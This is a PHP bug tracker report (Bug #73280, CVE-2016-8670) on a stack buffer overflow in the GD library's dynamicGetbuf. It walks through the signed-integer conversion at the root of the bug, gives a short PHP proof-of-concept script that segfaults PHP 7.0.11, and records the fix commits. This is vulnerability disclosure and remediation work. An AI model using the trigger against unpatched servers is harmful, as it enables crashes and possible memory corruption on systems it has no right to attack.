php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73280 Stack Buffer Overflow in GD dynamicGetbuf
Submitted: 2016-10-10 11:03 UTC Modified: 2017-02-13 02:02 UTC
From: emmanuel dot law at gmail dot com Assigned: cmb (profile)
Status: Closed Package: GD related
PHP Version: 5.6.28 OS: *
Private report: No CVE-ID: 2016-8670
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: emmanuel dot law at gmail dot com
New email:
PHP Version: OS:

 

 [2016-10-10 11:03 UTC] emmanuel dot law at gmail dot com
Description:
------------
1) imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number.

_php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227	io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);


2) Tracing the code deeper, the size is set to dp (dynamicPtr) below

allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272

280                 dp->logicalSize = initialSize;




3) During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257).

dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c

	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);



4) Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow.

dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237

236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);



Test script:
---------------
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286);
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>


$> ./php-7.0.11 test.php
Segmentation fault



*Note that I trigger this via "WBMP" processing. But it could be triggered via any other format such as GD2, GIF etc.

Actual result:
--------------
Segfault and corrupted stack


Stopped reason: SIGSEGV
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
154     in ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
#1  0x00000000006760b4 in dynamicGetbuf (ctx=0x7fffec402000, buf=0x7fffffffa5f3, len=0x1) at /root/php-7.0.11/ext/gd/libgd/gd_io_dp.c:246
#2  0x06000000026760ff in ?? ()
#3  0x0000000000000000 in ?? ()


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-10 11:22 UTC] emmanuel dot law at gmail dot com
Here's a proposed patch:

https://gist.github.com/libnex/1b25ba272cd1be59e277f3b6d5cfdf02
 [2016-10-11 04:57 UTC] stas@php.net
-Assigned To: +Assigned To: pajoye
 [2016-10-11 04:57 UTC] stas@php.net
This looks like libgd issue, please report upstream to libgd maintainers.
 [2016-10-11 23:54 UTC] stas@php.net
-Assigned To: pajoye +Assigned To: cmb
 [2016-10-13 09:43 UTC] cmb@php.net
-Status: Assigned +Status: Closed
 [2016-10-14 01:02 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-14 02:22 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cc08cbc84d46933c1e9e0149633f1ed5d19e45e9
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-14 02:23 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-15 09:03 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6911
 [2016-10-16 23:33 UTC] emmanuel dot law at gmail dot com
I think you assigned the wrong CVE for this?
The Debian guys requested for one on OSS mailing list and it was assigned:cve-2016-8670

http://www.openwall.com/lists/oss-security/2016/10/15/6
 [2016-10-17 04:44 UTC] remi@php.net
-CVE-ID: 2016-6911 +CVE-ID: 2016-8670
 [2016-10-17 10:06 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-17 10:07 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cc08cbc84d46933c1e9e0149633f1ed5d19e45e9
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2017-02-13 02:02 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 7.0.11 +PHP Version: 5.6.28
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 15:01:30 2024 UTC